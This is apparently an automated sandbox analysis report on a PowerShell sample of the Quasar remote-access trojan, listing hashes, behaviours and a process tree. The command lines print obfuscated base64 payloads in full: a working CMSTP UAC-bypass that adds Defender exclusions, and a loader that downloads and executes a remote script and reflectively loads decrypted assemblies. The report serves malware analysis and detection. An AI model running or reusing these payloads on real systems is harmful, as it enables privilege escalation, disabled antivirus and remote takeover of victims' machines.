Analysis
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max time kernel
113s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20250129-en -
resource tags
arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system -
submitted
31-01-2025 03:38
Static task
static1
Behavioral task
behavioral1
Sample
24fc3c7f746c3a037df97368a44462353b48160e58bb5e2c238280bbd2c9468f.ps1
Resource
win7-20241010-en
General
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Target
24fc3c7f746c3a037df97368a44462353b48160e58bb5e2c238280bbd2c9468f.ps1
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Size
368KB
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MD5
7a0090d72fbfbfa03eb02050e93d2ed7
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SHA1
66dc4bb7d8085d1fc894baf3271319a4329971bc
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SHA256
24fc3c7f746c3a037df97368a44462353b48160e58bb5e2c238280bbd2c9468f
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SHA512
aae5aacaa5d3bce53be878b4ef2f4bfee8a9085e67810f3f9acdea2ec4eb26f28d2caa23a62cf18562dd838cbcca50800992df14de5f5bc07c9d2079da8272c6
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SSDEEP
6144:WVLvQRko6c7UCeRYR3XhR1a3Nz1hpMkW3Wggec5kQ39JO9Wejhv:WxQB6c7UfYpD1a3BGRgenQ39DK
Malware Config
Extracted
quasar
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reconnect_delay
3000
Signatures
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Quasar family
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Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/1828-113-0x0000000008880000-0x00000000088DE000-memory.dmp family_quasar -
Blocklisted process makes network request 3 IoCs
flow pid Process 17 1828 powershell.exe 20 1828 powershell.exe 22 1828 powershell.exe -
pid Process 4948 powershell.exe 1828 powershell.exe 2368 powershell.exe 4068 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1121399784-3202166597-3503557106-1000\Control Panel\International\Geo\Nation cscript.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1121399784-3202166597-3503557106-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate_357 = "wscript.exe \"C:\\Users\\Admin\\AppData\\Roaming\\WindowsUpdate_357.vbs\"" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 19 ip-api.com -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Kills process with taskkill 1 IoCs
pid Process 5100 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 4948 powershell.exe 4948 powershell.exe 2368 powershell.exe 2368 powershell.exe 4068 powershell.exe 4068 powershell.exe 1828 powershell.exe 1828 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 4948 powershell.exe Token: SeDebugPrivilege 2368 powershell.exe Token: SeDebugPrivilege 4068 powershell.exe Token: SeDebugPrivilege 5100 taskkill.exe Token: SeDebugPrivilege 1828 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1828 powershell.exe -
Suspicious use of WriteProcessMemory 17 IoCs
description pid Process procid_target PID 4948 wrote to memory of 3736 4948 powershell.exe 84 PID 4948 wrote to memory of 3736 4948 powershell.exe 84 PID 3736 wrote to memory of 1260 3736 cscript.exe 88 PID 3736 wrote to memory of 1260 3736 cscript.exe 88 PID 1260 wrote to memory of 3764 1260 cmd.exe 90 PID 1260 wrote to memory of 3764 1260 cmd.exe 90 PID 3764 wrote to memory of 2368 3764 cmd.exe 92 PID 3764 wrote to memory of 2368 3764 cmd.exe 92 PID 2368 wrote to memory of 3204 2368 powershell.exe 95 PID 2368 wrote to memory of 3204 2368 powershell.exe 95 PID 3204 wrote to memory of 1596 3204 csc.exe 96 PID 3204 wrote to memory of 1596 3204 csc.exe 96 PID 2368 wrote to memory of 2728 2368 powershell.exe 97 PID 2368 wrote to memory of 2728 2368 powershell.exe 97 PID 3764 wrote to memory of 1828 3764 cmd.exe 103 PID 3764 wrote to memory of 1828 3764 cmd.exe 103 PID 3764 wrote to memory of 1828 3764 cmd.exe 103
Processes
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\24fc3c7f746c3a037df97368a44462353b48160e58bb5e2c238280bbd2c9468f.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4948 -
C:\Windows\system32\cscript.exe"C:\Windows\system32\cscript.exe" /nologo C:\Users\Admin\AppData\Local\Temp\tmp8B58.vbs2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3736 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:1260 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\c.bat"4⤵
- Suspicious use of WriteProcessMemory
PID:3764 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -noprofile -windowStyle Hidden -ep bypass -command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2368 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vsttqcvn\vsttqcvn.cmdline"6⤵
- Suspicious use of WriteProcessMemory
PID:3204 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES91FF.tmp" "c:\Users\Admin\AppData\Local\Temp\vsttqcvn\CSCE6FAF0AF9E8C4DC78038E78F2BB863.TMP"7⤵PID:1596
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C:\windows\system32\cmstp.exe"C:\windows\system32\cmstp.exe" /au C:\windows\temp\2h0ms45b.inf6⤵PID:2728
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ2FXVjRJQ2hKYm5admEyVXRWMlZpVW1WeGRXVnpkQ0F0VlhKcElDSm9kSFJ3Y3pvdkx6QjRNQzV6ZEM4NExUVlRMbkJ6TVNJcCcpKSk7ZW1wdHlzZXJ2aWNlcyAtZXR3O1N0YXJ0LVNsZWVwIC1TZWNvbmRzIDU7ZnVuY3Rpb24geXpvaGlkaXhvbWF3YWhmKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnZ2t6djZRL1VIK2c4cVZ5TkhqcHc1M2tEMHE5dkpTYXI3c2FkVjM3MXlEcz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ29pWGk5SzljMkRlaytJMlgvOW5HY3c9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gbHhzd3N3b3hkcmt3aHFlKCRwYXJhbV92YXIpewlJRVggJyRicmJ5YmlqcnVzZmhxZ25tdXFna3NndmpoPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGtia3F4aGFoa2xpdmNmeGJneWVub3hycWU9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRxZmFnbXZ3cnJyZ3lieGtmYWd1ZXJza2ppPU5ldy1PYmplY3QgU3lzdGVtLklPLkNBQkNvbUFCQ3ByQUJDZUFCQ3NzQUJDaW9BQkNuLkFCQ0daQUJDaXBBQkNTdEFCQ3JlQUJDYW1BQkMoJGJyYnliaWpydXNmaHFnbm11cWdrc2d2amgsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHFmYWdtdndycnJneWJ4a2ZhZ3VlcnNramkuQ29weVRvKCRrYmtxeGhhaGtsaXZjZnhiZ3llbm94cnFlKTsJJHFmYWdtdndycnJneWJ4a2ZhZ3VlcnNramkuRGlzcG9zZSgpOwkkYnJieWJpanJ1c2ZocWdubXVxZ2tzZ3ZqaC5EaXNwb3NlKCk7CSRrYmtxeGhhaGtsaXZjZnhiZ3llbm94cnFlLkRpc3Bvc2UoKTsJJGtia3F4aGFoa2xpdmNmeGJneWVub3hycWUuVG9BcnJheSgpO31mdW5jdGlvbiBhamVjYWl5eWR3bmZmdG5qdXhtdnB6cmNkKCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewkJSUVYICckbGlyd3Nta3VsaGJ6YXlxbWRrbnJjZmJ0aW9xd2xueXZyeGFuZXZ6ZT1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJHZlcHBpZnppZXNuaHhyZ2dneG9kd29peWpnaGR4ZGhpbGp2eHBsa2NvaXJzYXF5enF1PSRsaXJ3c21rdWxoYnpheXFtZGtucmNmYnRpb3F3bG55dnJ4YW5ldnplLkFCQ0VBQkNuQUJDdEFCQ3JBQkN5QUJDUEFCQ29BQkNpQUJDbkFCQ3RBQkM7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJHZlcHBpZnppZXNuaHhyZ2dneG9kd29peWpnaGR4ZGhpbGp2eHBsa2NvaXJzYXF5enF1LkFCQ0lBQkNuQUJDdkFCQ29BQkNrQUJDZUFCQygkbnVsbCwgJHBhcmFtMl92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpO30kbGptdmdzdWFuYnJjbGhsbnBqamZqa3VkciA9ICRlbnY6VVNFUk5BTUU7JGluZnBoYmVydmJuYndlYWJvZ3B6enFnbGIgPSAnQzpcVXNlcnNcJyArICRsam12Z3N1YW5icmNsaGxucGpqZmprdWRyICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkaW5mcGhiZXJ2Ym5id2VhYm9ncHp6cWdsYjskamN6Ymg9W1N5c3RlbS5JTy5GaWxlXTo6KCd0eGVUbGxBZGFlUidbLTEuLi0xMV0gLWpvaW4gJycpKCRpbmZwaGJlcnZibmJ3ZWFib2dwenpxZ2xiKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkeWZxIGluICRqY3piaCkgewlpZiAoJHlmcS5TdGFydHNXaXRoKCc6OicpKQl7CQkkc2h0bnk9JHlmcS5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kZG5sYm1vY21td3JoeG9sYnl2cmd2dW1pdD1bc3RyaW5nW11dJHNodG55LlNwbGl0KCdcJyk7SUVYICckemVncXRxcG9neGt3ZmFmbXZraWdzcWZobj1seHN3c3dveGRya3docWUgKHl6b2hpZGl4b21hd2FoZiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRkbmxibW9jbW13cmh4b2xieXZyZ3Z1bWl0WzBdKSkpOycuUmVwbGFjZSgnQUJDJywgJycpO0lFWCAnJHhjamluamJjaG5qd3ZzZ2N0cnJhZnR1bHU9bHhzd3N3b3hkcmt3aHFlICh5em9oaWRpeG9tYXdhaGYgKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkZG5sYm1vY21td3JoeG9sYnl2cmd2dW1pdFsxXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTthamVjYWl5eWR3bmZmdG5qdXhtdnB6cmNkICR6ZWdx